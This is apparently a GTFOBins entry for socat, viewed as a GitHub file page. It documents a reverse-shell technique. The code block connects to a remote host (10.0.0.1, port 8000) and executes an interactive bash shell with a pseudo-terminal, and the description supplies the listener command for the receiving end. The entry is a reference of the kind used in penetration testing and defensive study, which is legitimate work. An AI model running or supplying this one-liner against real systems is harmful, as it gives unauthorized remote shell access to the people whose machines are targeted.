GTFOBins.github.io/_gtfobins/socat.md

9 lines
297 B
Markdown
Raw Normal View History

2018-05-22 22:40:27 +02:00
---
functions:
reverse-shell:
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:8000</code> to receive the shell on the other end.
code: |
RHOST=10.0.0.1
RPORT=8000
socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane
---